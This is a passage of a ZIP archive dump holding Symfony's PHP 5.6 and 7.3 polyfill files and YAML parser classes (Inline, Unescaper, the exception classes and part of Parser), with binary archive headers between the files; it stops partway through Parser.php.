CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK�\�^�77'vendor/symfony/polyfill-php56/Php56.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php56; use Symfony\Polyfill\Util\Binary; /** * @internal */ final class Php56 { const LDAP_ESCAPE_FILTER = 1; const LDAP_ESCAPE_DN = 2; public static function hash_equals($knownString, $userInput) { if (!\is_string($knownString)) { trigger_error('Expected known_string to be a string, '.\gettype($knownString).' given', E_USER_WARNING); return false; } if (!\is_string($userInput)) { trigger_error('Expected user_input to be a string, '.\gettype($userInput).' given', E_USER_WARNING); return false; } $knownLen = Binary::strlen($knownString); $userLen = Binary::strlen($userInput); if ($knownLen !== $userLen) { return false; } $result = 0; for ($i = 0; $i < $knownLen; ++$i) { $result |= \ord($knownString[$i]) ^ \ord($userInput[$i]); } return 0 === $result; } /** * Stub implementation of the {@link ldap_escape()} function of the ldap * extension. * * Escape strings for safe use in LDAP filters and DNs. * * @author Chris Wright <ldapi@daverandom.com> * * @param string $subject * @param string $ignore * @param int $flags * * @return string * * @see http://stackoverflow.com/a/8561604 */ public static function ldap_escape($subject, $ignore = '', $flags = 0) { static $charMaps = null; if (null === $charMaps) { $charMaps = array( self::LDAP_ESCAPE_FILTER => array('\\', '*', '(', ')', "\x00"), self::LDAP_ESCAPE_DN => array('\\', ',', '=', '+', '<', '>', ';', '"', '#', "\r"), ); $charMaps[0] = array(); for ($i = 0; $i < 256; ++$i) { $charMaps[0][\chr($i)] = sprintf('\\%02x', $i); } for ($i = 0, $l = \count($charMaps[self::LDAP_ESCAPE_FILTER]); $i < $l; ++$i) { $chr = $charMaps[self::LDAP_ESCAPE_FILTER][$i]; unset($charMaps[self::LDAP_ESCAPE_FILTER][$i]); $charMaps[self::LDAP_ESCAPE_FILTER][$chr] = $charMaps[0][$chr]; } for ($i = 0, $l = \count($charMaps[self::LDAP_ESCAPE_DN]); $i < $l; ++$i) { $chr = $charMaps[self::LDAP_ESCAPE_DN][$i]; unset($charMaps[self::LDAP_ESCAPE_DN][$i]); $charMaps[self::LDAP_ESCAPE_DN][$chr] = $charMaps[0][$chr]; } } // Create the base char map to escape $flags = (int) $flags; $charMap = array(); if ($flags & self::LDAP_ESCAPE_FILTER) { $charMap += $charMaps[self::LDAP_ESCAPE_FILTER]; } if ($flags & self::LDAP_ESCAPE_DN) { $charMap += $charMaps[self::LDAP_ESCAPE_DN]; } if (!$charMap) { $charMap = $charMaps[0]; } // Remove any chars to ignore from the list $ignore = (string) $ignore; for ($i = 0, $l = \strlen($ignore); $i < $l; ++$i) { unset($charMap[$ignore[$i]]); } // Do the main replacement $result = strtr($subject, $charMap); // Encode leading/trailing spaces if self::LDAP_ESCAPE_DN is passed if ($flags & self::LDAP_ESCAPE_DN) { if (' ' === $result[0]) { $result = '\\20'.substr($result, 1); } if (' ' === $result[\strlen($result) - 1]) { $result = substr($result, 0, -1).'\\20'; } } return $result; } } PK�\/��ngg'vendor/symfony/polyfill-php73/Php73.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php73; /** * @author Gabriel Caruso <carusogabriel34@gmail.com> * @author Ion Bazan <ion.bazan@gmail.com> * * @internal */ final class Php73 { public static $startAt = 1533462603; /** * @param bool $asNum * * @return array|float|int */ public static function hrtime($asNum = false) { $ns = microtime(false); $s = substr($ns, 11) - self::$startAt; $ns = 1E9 * (float) $ns; if ($asNum) { $ns += $s * 1E9; return \PHP_INT_SIZE === 4 ? $ns : (int) $ns; } return array($s, (int) $ns); } } PK�\�S&Q��+vendor/symfony/polyfill-php73/bootstrap.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Php73 as p; if (PHP_VERSION_ID >= 70300) { return; } if (!function_exists('is_countable')) { function is_countable($value) { return is_array($value) || $value instanceof Countable || $value instanceof ResourceBundle || $value instanceof SimpleXmlElement; } } if (!function_exists('hrtime')) { require_once __DIR__.'/Php73.php'; p\Php73::$startAt = (int) microtime(true); function hrtime($as_number = false) { return p\Php73::hrtime($as_number ); } } if (!function_exists('array_key_first')) { function array_key_first(array $array) { foreach ($array as $key => $value) { return $key; } } } if (!function_exists('array_key_last')) { function array_key_last(array $array) { return key(array_slice($array, -1, 1, true)); } } PK�\<F�?vendor/symfony/polyfill-php73/Resources/stubs/JsonException.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ class JsonException extends Exception { } PK�\�`e0))%vendor/symfony/polyfill-php73/LICENSEnu�[���Copyright (c) 2018-2019 Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK�\}�S]�W�Wvendor/symfony/yaml/Inline.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; use Symfony\Component\Yaml\Exception\DumpException; use Symfony\Component\Yaml\Exception\ParseException; /** * Inline implements a YAML parser/dumper for the YAML inline syntax. * * @author Fabien Potencier <fabien@symfony.com> */ class Inline { const REGEX_QUOTED_STRING = '(?:"([^"\\\\]*+(?:\\\\.[^"\\\\]*+)*+)"|\'([^\']*+(?:\'\'[^\']*+)*+)\')'; private static $exceptionOnInvalidType = false; private static $objectSupport = false; private static $objectForMap = false; /** * Converts a YAML string to a PHP value. * * @param string $value A YAML string * @param bool $exceptionOnInvalidType True if an exception must be thrown on invalid types (a PHP resource or object), false otherwise * @param bool $objectSupport True if object support is enabled, false otherwise * @param bool $objectForMap True if maps should return a stdClass instead of array() * @param array $references Mapping of variable names to values * * @return mixed A PHP value * * @throws ParseException */ public static function parse($value, $exceptionOnInvalidType = false, $objectSupport = false, $objectForMap = false, $references = array()) { self::$exceptionOnInvalidType = $exceptionOnInvalidType; self::$objectSupport = $objectSupport; self::$objectForMap = $objectForMap; $value = trim($value); if ('' === $value) { return ''; } if (2 /* MB_OVERLOAD_STRING */ & (int) ini_get('mbstring.func_overload')) { $mbEncoding = mb_internal_encoding(); mb_internal_encoding('ASCII'); } $i = 0; switch ($value[0]) { case '[': $result = self::parseSequence($value, $i, $references); ++$i; break; case '{': $result = self::parseMapping($value, $i, $references); ++$i; break; default: $result = self::parseScalar($value, null, array('"', "'"), $i, true, $references); } // some comments are allowed at the end if (preg_replace('/\s+#.*$/A', '', substr($value, $i))) { throw new ParseException(sprintf('Unexpected characters near "%s".', substr($value, $i))); } if (isset($mbEncoding)) { mb_internal_encoding($mbEncoding); } return $result; } /** * Dumps a given PHP variable to a YAML string. * * @param mixed $value The PHP variable to convert * @param bool $exceptionOnInvalidType True if an exception must be thrown on invalid types (a PHP resource or object), false otherwise * @param bool $objectSupport True if object support is enabled, false otherwise * * @return string The YAML string representing the PHP value * * @throws DumpException When trying to dump PHP resource */ public static function dump($value, $exceptionOnInvalidType = false, $objectSupport = false) { switch (true) { case \is_resource($value): if ($exceptionOnInvalidType) { throw new DumpException(sprintf('Unable to dump PHP resources in a YAML file ("%s").', get_resource_type($value))); } return 'null'; case \is_object($value): if ($objectSupport) { return '!php/object:'.serialize($value); } if ($exceptionOnInvalidType) { throw new DumpException('Object support when dumping a YAML file has been disabled.'); } return 'null'; case \is_array($value): return self::dumpArray($value, $exceptionOnInvalidType, $objectSupport); case null === $value: return 'null'; case true === $value: return 'true'; case false === $value: return 'false'; case ctype_digit($value): return \is_string($value) ? "'$value'" : (int) $value; case is_numeric($value): $locale = setlocale(LC_NUMERIC, 0); if (false !== $locale) { setlocale(LC_NUMERIC, 'C'); } if (\is_float($value)) { $repr = (string) $value; if (is_infinite($value)) { $repr = str_ireplace('INF', '.Inf', $repr); } elseif (floor($value) == $value && $repr == $value) { // Preserve float data type since storing a whole number will result in integer value. $repr = '!!float '.$repr; } } else { $repr = \is_string($value) ? "'$value'" : (string) $value; } if (false !== $locale) { setlocale(LC_NUMERIC, $locale); } return $repr; case '' == $value: return "''"; case Escaper::requiresDoubleQuoting($value): return Escaper::escapeWithDoubleQuotes($value); case Escaper::requiresSingleQuoting($value): case Parser::preg_match(self::getHexRegex(), $value): case Parser::preg_match(self::getTimestampRegex(), $value): return Escaper::escapeWithSingleQuotes($value); default: return $value; } } /** * Check if given array is hash or just normal indexed array. * * @internal * * @param array $value The PHP array to check * * @return bool true if value is hash array, false otherwise */ public static function isHash(array $value) { $expectedKey = 0; foreach ($value as $key => $val) { if ($key !== $expectedKey++) { return true; } } return false; } /** * Dumps a PHP array to a YAML string. * * @param array $value The PHP array to dump * @param bool $exceptionOnInvalidType True if an exception must be thrown on invalid types (a PHP resource or object), false otherwise * @param bool $objectSupport True if object support is enabled, false otherwise * * @return string The YAML string representing the PHP array */ private static function dumpArray($value, $exceptionOnInvalidType, $objectSupport) { // array if ($value && !self::isHash($value)) { $output = array(); foreach ($value as $val) { $output[] = self::dump($val, $exceptionOnInvalidType, $objectSupport); } return sprintf('[%s]', implode(', ', $output)); } // hash $output = array(); foreach ($value as $key => $val) { $output[] = sprintf('%s: %s', self::dump($key, $exceptionOnInvalidType, $objectSupport), self::dump($val, $exceptionOnInvalidType, $objectSupport)); } return sprintf('{ %s }', implode(', ', $output)); } /** * Parses a YAML scalar. * * @param string $scalar * @param string[] $delimiters * @param string[] $stringDelimiters * @param int &$i * @param bool $evaluate * @param array $references * * @return string * * @throws ParseException When malformed inline YAML string is parsed * * @internal */ public static function parseScalar($scalar, $delimiters = null, $stringDelimiters = array('"', "'"), &$i = 0, $evaluate = true, $references = array()) { if (\in_array($scalar[$i], $stringDelimiters)) { // quoted scalar $output = self::parseQuotedScalar($scalar, $i); if (null !== $delimiters) { $tmp = ltrim(substr($scalar, $i), ' '); if ('' === $tmp) { throw new ParseException(sprintf('Unexpected end of line, expected one of "%s".', implode('', $delimiters))); } if (!\in_array($tmp[0], $delimiters)) { throw new ParseException(sprintf('Unexpected characters (%s).', substr($scalar, $i))); } } } else { // "normal" string if (!$delimiters) { $output = substr($scalar, $i); $i += \strlen($output); // remove comments if (Parser::preg_match('/[ \t]+#/', $output, $match, PREG_OFFSET_CAPTURE)) { $output = substr($output, 0, $match[0][1]); } } elseif (Parser::preg_match('/^(.+?)('.implode('|', $delimiters).')/', substr($scalar, $i), $match)) { $output = $match[1]; $i += \strlen($output); } else { throw new ParseException(sprintf('Malformed inline YAML string: %s.', $scalar)); } // a non-quoted string cannot start with @ or ` (reserved) nor with a scalar indicator (| or >) if ($output && ('@' === $output[0] || '`' === $output[0] || '|' === $output[0] || '>' === $output[0])) { @trigger_error(sprintf('Not quoting the scalar "%s" starting with "%s" is deprecated since Symfony 2.8 and will throw a ParseException in 3.0.', $output, $output[0]), E_USER_DEPRECATED); // to be thrown in 3.0 // throw new ParseException(sprintf('The reserved indicator "%s" cannot start a plain scalar; you need to quote the scalar.', $output[0])); } if ($evaluate) { $output = self::evaluateScalar($output, $references); } } return $output; } /** * Parses a YAML quoted scalar. * * @param string $scalar * @param int &$i * * @return string * * @throws ParseException When malformed inline YAML string is parsed */ private static function parseQuotedScalar($scalar, &$i) { if (!Parser::preg_match('/'.self::REGEX_QUOTED_STRING.'/Au', substr($scalar, $i), $match)) { throw new ParseException(sprintf('Malformed inline YAML string: %s.', substr($scalar, $i))); } $output = substr($match[0], 1, \strlen($match[0]) - 2); $unescaper = new Unescaper(); if ('"' == $scalar[$i]) { $output = $unescaper->unescapeDoubleQuotedString($output); } else { $output = $unescaper->unescapeSingleQuotedString($output); } $i += \strlen($match[0]); return $output; } /** * Parses a YAML sequence. * * @param string $sequence * @param int &$i * @param array $references * * @return array * * @throws ParseException When malformed inline YAML string is parsed */ private static function parseSequence($sequence, &$i = 0, $references = array()) { $output = array(); $len = \strlen($sequence); ++$i; // [foo, bar, ...] while ($i < $len) { switch ($sequence[$i]) { case '[': // nested sequence $output[] = self::parseSequence($sequence, $i, $references); break; case '{': // nested mapping $output[] = self::parseMapping($sequence, $i, $references); break; case ']': return $output; case ',': case ' ': break; default: $isQuoted = \in_array($sequence[$i], array('"', "'")); $value = self::parseScalar($sequence, array(',', ']'), array('"', "'"), $i, true, $references); // the value can be an array if a reference has been resolved to an array var if (!\is_array($value) && !$isQuoted && false !== strpos($value, ': ')) { // embedded mapping? try { $pos = 0; $value = self::parseMapping('{'.$value.'}', $pos, $references); } catch (\InvalidArgumentException $e) { // no, it's not } } $output[] = $value; --$i; } ++$i; } throw new ParseException(sprintf('Malformed inline YAML string: %s.', $sequence)); } /** * Parses a YAML mapping. * * @param string $mapping * @param int &$i * @param array $references * * @return array|\stdClass * * @throws ParseException When malformed inline YAML string is parsed */ private static function parseMapping($mapping, &$i = 0, $references = array()) { $output = array(); $len = \strlen($mapping); ++$i; $allowOverwrite = false; // {foo: bar, bar:foo, ...} while ($i < $len) { switch ($mapping[$i]) { case ' ': case ',': ++$i; continue 2; case '}': if (self::$objectForMap) { return (object) $output; } return $output; } // key $key = self::parseScalar($mapping, array(':', ' '), array('"', "'"), $i, false); if ('<<' === $key) { $allowOverwrite = true; } // value $done = false; while ($i < $len) { switch ($mapping[$i]) { case '[': // nested sequence $value = self::parseSequence($mapping, $i, $references); // Spec: Keys MUST be unique; first one wins. // Parser cannot abort this mapping earlier, since lines // are processed sequentially. // But overwriting is allowed when a merge node is used in current block. if ('<<' === $key) { foreach ($value as $parsedValue) { $output += $parsedValue; } } elseif ($allowOverwrite || !isset($output[$key])) { $output[$key] = $value; } $done = true; break; case '{': // nested mapping $value = self::parseMapping($mapping, $i, $references); // Spec: Keys MUST be unique; first one wins. // Parser cannot abort this mapping earlier, since lines // are processed sequentially. // But overwriting is allowed when a merge node is used in current block. if ('<<' === $key) { $output += $value; } elseif ($allowOverwrite || !isset($output[$key])) { $output[$key] = $value; } $done = true; break; case ':': case ' ': break; default: $value = self::parseScalar($mapping, array(',', '}'), array('"', "'"), $i, true, $references); // Spec: Keys MUST be unique; first one wins. // Parser cannot abort this mapping earlier, since lines // are processed sequentially. // But overwriting is allowed when a merge node is used in current block. if ('<<' === $key) { $output += $value; } elseif ($allowOverwrite || !isset($output[$key])) { $output[$key] = $value; } $done = true; --$i; } ++$i; if ($done) { continue 2; } } } throw new ParseException(sprintf('Malformed inline YAML string: %s.', $mapping)); } /** * Evaluates scalars and replaces magic values. * * @param string $scalar * @param array $references * * @return mixed The evaluated YAML string * * @throws ParseException when object parsing support was disabled and the parser detected a PHP object or when a reference could not be resolved */ private static function evaluateScalar($scalar, $references = array()) { $scalar = trim($scalar); $scalarLower = strtolower($scalar); if (0 === strpos($scalar, '*')) { if (false !== $pos = strpos($scalar, '#')) { $value = substr($scalar, 1, $pos - 2); } else { $value = substr($scalar, 1); } // an unquoted * if (false === $value || '' === $value) { throw new ParseException('A reference must contain at least one character.'); } if (!array_key_exists($value, $references)) { throw new ParseException(sprintf('Reference "%s" does not exist.', $value)); } return $references[$value]; } switch (true) { case 'null' === $scalarLower: case '' === $scalar: case '~' === $scalar: return; case 'true' === $scalarLower: return true; case 'false' === $scalarLower: return false; // Optimise for returning strings. case '+' === $scalar[0] || '-' === $scalar[0] || '.' === $scalar[0] || '!' === $scalar[0] || is_numeric($scalar[0]): switch (true) { case 0 === strpos($scalar, '!str'): return (string) substr($scalar, 5); case 0 === strpos($scalar, '! '): return (int) self::parseScalar(substr($scalar, 2)); case 0 === strpos($scalar, '!php/object:'): if (self::$objectSupport) { return unserialize(substr($scalar, 12)); } if (self::$exceptionOnInvalidType) { throw new ParseException('Object support when parsing a YAML file has been disabled.'); } return; case 0 === strpos($scalar, '!!php/object:'): if (self::$objectSupport) { return unserialize(substr($scalar, 13)); } if (self::$exceptionOnInvalidType) { throw new ParseException('Object support when parsing a YAML file has been disabled.'); } return; case 0 === strpos($scalar, '!!float '): return (float) substr($scalar, 8); case ctype_digit($scalar): $raw = $scalar; $cast = (int) $scalar; return '0' == $scalar[0] ? octdec($scalar) : (((string) $raw == (string) $cast) ? $cast : $raw); case '-' === $scalar[0] && ctype_digit(substr($scalar, 1)): $raw = $scalar; $cast = (int) $scalar; return '0' == $scalar[1] ? octdec($scalar) : (((string) $raw === (string) $cast) ? $cast : $raw); case is_numeric($scalar): case Parser::preg_match(self::getHexRegex(), $scalar): return '0x' === $scalar[0].$scalar[1] ? hexdec($scalar) : (float) $scalar; case '.inf' === $scalarLower: case '.nan' === $scalarLower: return -log(0); case '-.inf' === $scalarLower: return log(0); case Parser::preg_match('/^(-|\+)?[0-9,]+(\.[0-9]+)?$/', $scalar): return (float) str_replace(',', '', $scalar); case Parser::preg_match(self::getTimestampRegex(), $scalar): $timeZone = date_default_timezone_get(); date_default_timezone_set('UTC'); $time = strtotime($scalar); date_default_timezone_set($timeZone); return $time; } // no break default: return (string) $scalar; } } /** * Gets a regex that matches a YAML date. * * @return string The regular expression * * @see http://www.yaml.org/spec/1.2/spec.html#id2761573 */ private static function getTimestampRegex() { return <<<EOF ~^ (?P<year>[0-9][0-9][0-9][0-9]) -(?P<month>[0-9][0-9]?) -(?P<day>[0-9][0-9]?) (?:(?:[Tt]|[ \t]+) (?P<hour>[0-9][0-9]?) :(?P<minute>[0-9][0-9]) :(?P<second>[0-9][0-9]) (?:\.(?P<fraction>[0-9]*))? (?:[ \t]*(?P<tz>Z|(?P<tz_sign>[-+])(?P<tz_hour>[0-9][0-9]?) (?::(?P<tz_minute>[0-9][0-9]))?))?)? $~x EOF; } /** * Gets a regex that matches a YAML number in hexadecimal notation. * * @return string */ private static function getHexRegex() { return '~^0x[0-9a-f]++$~i'; } } PK�\"~uNN!vendor/symfony/yaml/Unescaper.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; /** * Unescaper encapsulates unescaping rules for single and double-quoted * YAML strings. * * @author Matthew Lewinski <matthew@lewinski.org> * * @internal */ class Unescaper { /** * Parser and Inline assume UTF-8 encoding, so escaped Unicode characters * must be converted to that encoding. * * @deprecated since version 2.5, to be removed in 3.0 * * @internal */ const ENCODING = 'UTF-8'; /** * Regex fragment that matches an escaped character in a double quoted string. */ const REGEX_ESCAPED_CHARACTER = '\\\\(x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|U[0-9a-fA-F]{8}|.)'; /** * Unescapes a single quoted string. * * @param string $value A single quoted string * * @return string The unescaped string */ public function unescapeSingleQuotedString($value) { return str_replace('\'\'', '\'', $value); } /** * Unescapes a double quoted string. * * @param string $value A double quoted string * * @return string The unescaped string */ public function unescapeDoubleQuotedString($value) { $self = $this; $callback = function ($match) use ($self) { return $self->unescapeCharacter($match[0]); }; // evaluate the string return preg_replace_callback('/'.self::REGEX_ESCAPED_CHARACTER.'/u', $callback, $value); } /** * Unescapes a character that was found in a double-quoted string. * * @param string $value An escaped character * * @return string The unescaped character * * @internal This method is public to be usable as callback. It should not * be used in user code. Should be changed in 3.0. */ public function unescapeCharacter($value) { switch ($value[1]) { case '0': return "\x0"; case 'a': return "\x7"; case 'b': return "\x8"; case 't': return "\t"; case "\t": return "\t"; case 'n': return "\n"; case 'v': return "\xB"; case 'f': return "\xC"; case 'r': return "\r"; case 'e': return "\x1B"; case ' ': return ' '; case '"': return '"'; case '/': return '/'; case '\\': return '\\'; case 'N': // U+0085 NEXT LINE return "\xC2\x85"; case '_': // U+00A0 NO-BREAK SPACE return "\xC2\xA0"; case 'L': // U+2028 LINE SEPARATOR return "\xE2\x80\xA8"; case 'P': // U+2029 PARAGRAPH SEPARATOR return "\xE2\x80\xA9"; case 'x': return self::utf8chr(hexdec(substr($value, 2, 2))); case 'u': return self::utf8chr(hexdec(substr($value, 2, 4))); case 'U': return self::utf8chr(hexdec(substr($value, 2, 8))); default: @trigger_error('Not escaping a backslash in a double-quoted string is deprecated since Symfony 2.8 and will throw a ParseException in 3.0.', E_USER_DEPRECATED); return $value; } } /** * Get the UTF-8 character for the given code point. * * @param int $c The unicode code point * * @return string The corresponding UTF-8 character */ private static function utf8chr($c) { if (0x80 > $c %= 0x200000) { return \chr($c); } if (0x800 > $c) { return \chr(0xC0 | $c >> 6).\chr(0x80 | $c & 0x3F); } if (0x10000 > $c) { return \chr(0xE0 | $c >> 12).\chr(0x80 | $c >> 6 & 0x3F).\chr(0x80 | $c & 0x3F); } return \chr(0xF0 | $c >> 18).\chr(0x80 | $c >> 12 & 0x3F).\chr(0x80 | $c >> 6 & 0x3F).\chr(0x80 | $c & 0x3F); } } PK�\�_q���2vendor/symfony/yaml/Exception/RuntimeException.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Exception; /** * Exception class thrown when an error occurs during parsing. * * @author Romain Neutron <imprec@gmail.com> */ class RuntimeException extends \RuntimeException implements ExceptionInterface { } PK�\�^KA��4vendor/symfony/yaml/Exception/ExceptionInterface.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Exception; /** * Exception interface for all exceptions thrown by the component. * * @author Fabien Potencier <fabien@symfony.com> */ interface ExceptionInterface { } PK�\�c�� � 0vendor/symfony/yaml/Exception/ParseException.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Exception; /** * Exception class thrown when an error occurs during parsing. * * @author Fabien Potencier <fabien@symfony.com> */ class ParseException extends RuntimeException { private $parsedFile; private $parsedLine; private $snippet; private $rawMessage; /** * @param string $message The error message * @param int $parsedLine The line where the error occurred * @param string|null $snippet The snippet of code near the problem * @param string|null $parsedFile The file name where the error occurred * @param \Exception|null $previous The previous exception */ public function __construct($message, $parsedLine = -1, $snippet = null, $parsedFile = null, \Exception $previous = null) { $this->parsedFile = $parsedFile; $this->parsedLine = $parsedLine; $this->snippet = $snippet; $this->rawMessage = $message; $this->updateRepr(); parent::__construct($this->message, 0, $previous); } /** * Gets the snippet of code near the error. * * @return string The snippet of code */ public function getSnippet() { return $this->snippet; } /** * Sets the snippet of code near the error. * * @param string $snippet The code snippet */ public function setSnippet($snippet) { $this->snippet = $snippet; $this->updateRepr(); } /** * Gets the filename where the error occurred. * * This method returns null if a string is parsed. * * @return string The filename */ public function getParsedFile() { return $this->parsedFile; } /** * Sets the filename where the error occurred. * * @param string $parsedFile The filename */ public function setParsedFile($parsedFile) { $this->parsedFile = $parsedFile; $this->updateRepr(); } /** * Gets the line where the error occurred. * * @return int The file line */ public function getParsedLine() { return $this->parsedLine; } /** * Sets the line where the error occurred. * * @param int $parsedLine The file line */ public function setParsedLine($parsedLine) { $this->parsedLine = $parsedLine; $this->updateRepr(); } private function updateRepr() { $this->message = $this->rawMessage; $dot = false; if ('.' === substr($this->message, -1)) { $this->message = substr($this->message, 0, -1); $dot = true; } if (null !== $this->parsedFile) { if (\PHP_VERSION_ID >= 50400) { $jsonOptions = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE; } else { $jsonOptions = 0; } $this->message .= sprintf(' in %s', json_encode($this->parsedFile, $jsonOptions)); } if ($this->parsedLine >= 0) { $this->message .= sprintf(' at line %d', $this->parsedLine); } if ($this->snippet) { $this->message .= sprintf(' (near "%s")', $this->snippet); } if ($dot) { $this->message .= '.'; } } } PK�\���/vendor/symfony/yaml/Exception/DumpException.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Exception; /** * Exception class thrown when an error occurs during dumping. * * @author Fabien Potencier <fabien@symfony.com> */ class DumpException extends RuntimeException { } PK�\�B^(7�7�vendor/symfony/yaml/Parser.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; use Symfony\Component\Yaml\Exception\ParseException; /** * Parser parses YAML strings to convert them to PHP arrays. * * @author Fabien Potencier <fabien@symfony.com> */ class Parser { const BLOCK_SCALAR_HEADER_PATTERN = '(?P<separator>\||>)(?P<modifiers>\+|\-|\d+|\+\d+|\-\d+|\d+\+|\d+\-)?(?P<comments> +#.*)?'; // BC - wrongly named const FOLDED_SCALAR_PATTERN = self::BLOCK_SCALAR_HEADER_PATTERN; private $offset = 0; private $totalNumberOfLines; private $lines = array(); private $currentLineNb = -1; private $currentLine = ''; private $refs = array(); private $skippedLineNumbers = array(); private $locallySkippedLineNumbers = array(); /** * @param int $offset The offset of YAML document (used for line numbers in error messages) * @param int|null $totalNumberOfLines The overall number of lines being parsed * @param int[] $skippedLineNumbers Number of comment lines that have been skipped by the parser */ public function __construct($offset = 0, $totalNumberOfLines = null, array $skippedLineNumbers = array()) { $this->offset = $offset; $this->totalNumberOfLines = $totalNumberOfLines; $this->skippedLineNumbers = $skippedLineNumbers; } /** * Parses a YAML string to a PHP value. * * @param string $value A YAML string * @param bool $exceptionOnInvalidType True if an exception must be thrown on invalid types (a PHP resource or object), false otherwise * @param bool $objectSupport True if object support is enabled, false otherwise * @param bool $objectForMap True if maps should return a stdClass instead of array() * * @return mixed A PHP value * * @throws ParseException If the YAML is not valid */ public function parse($value, $exceptionOnInvalidType = false, $objectSupport = false, $objectForMap = false) { if (false === preg_match('//u', $value)) { throw new ParseException('The YAML value does not appear to be valid UTF-8.'); } $this->refs = array(); $mbEncoding = null; $e = null; $data = null; if (2 /* MB_OVERLOAD_STRING */ & (int) ini_get('mbstring.func_overload')) { $mbEncoding = mb_internal_encoding(); mb_internal_encoding('UTF-8'); } try { $data = $this->doParse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap); } catch (\Exception $e) { } catch (\Throwable $e) { } if (null !== $mbEncoding) { mb_internal_encoding($mbEncoding); } $this->lines = array(); $this->currentLine = ''; $this->refs = array(); $this->skippedLineNumbers = array(); $this->locallySkippedLineNumbers = array(); if (null !== $e) { throw $e; } return $data; } private function doParse($value, $exceptionOnInvalidType = false, $objectSupport = false, $objectForMap = false) { $this->currentLineNb = -1; $this->currentLine = ''; $value = $this->cleanup($value); $this->lines = explode("\n", $value); $this->locallySkippedLineNumbers = array(); if (null === $this->totalNumberOfLines) { $this->totalNumberOfLines = \count($this->lines); } $data = array(); $context = null; $allowOverwrite = false; while ($this->moveToNextLine()) { if ($this->isCurrentLineEmpty()) { continue; } // tab? if ("\t" === $this->currentLine[0]) { throw new ParseException('A YAML file cannot contain tabs as indentation.', $this->getRealCurrentLineNb() + 1, $this->currentLine); } $isRef = $mergeNode = false; if (self::preg_match('#^\-((?P<leadspaces>\s+)(?P<value>.+))?$#u', rtrim($this->currentLine), $values)) { if ($context && 'mapping' == $context) { throw new ParseException('You cannot define a sequence item when in a mapping', $this->getRealCurrentLineNb() + 1, $this->currentLine); } $context = 'sequence'; if (isset($values['value']) && self::preg_match('#^&(?P<ref>[^ ]+) *(?P<value>.*)#u', $values['value'], $matches)) { $isRef = $matches['ref']; $values['value'] = $matches['value']; } // array if (!isset($values['value']) || '' == trim($values['value'], ' ') || 0 === strpos(ltrim($values['value'], ' '), '#')) { $data[] = $this->parseBlock($this->getRealCurrentLineNb() + 1, $this->getNextEmbedBlock(null, true), $exceptionOnInvalidType, $objectSupport, $objectForMap); } else { if (isset($values['leadspaces']) && self::preg_match('#^(?P<key>'.Inline::REGEX_QUOTED_STRING.'|[^ \'"\{\[].*?) *\:(\s+(?P<value>.+))?$#u', rtrim($values['value']), $matches) ) { // this is a compact notation element, add to next block and parse $block = $values['value']; if ($this->isNextLineIndented()) { $block .= "\n".$this->getNextEmbedBlock($this->getCurrentLineIndentation() + \strlen($values['leadspaces']) + 1); } $data[] = $this->parseBlock($this->getRealCurrentLineNb(), $block, $exceptionOnInvalidType, $objectSupport, $objectForMap); } else { $data[] = $this->parseValue($values['value'], $exceptionOnInvalidType, $objectSupport, $objectForMap, $context); } } if ($isRef) { $this->refs[$isRef] = end($data); } } elseif ( self::preg_match('#^(?P<key>'.Inline::REGEX_QUOTED_STRING.'|[^ \'"\[\{].*?) *\:(\s+(?P<value>.+))?$#u', rtrim($this->currentLine), $values) && (false === strpos($values['key'], ' #') || 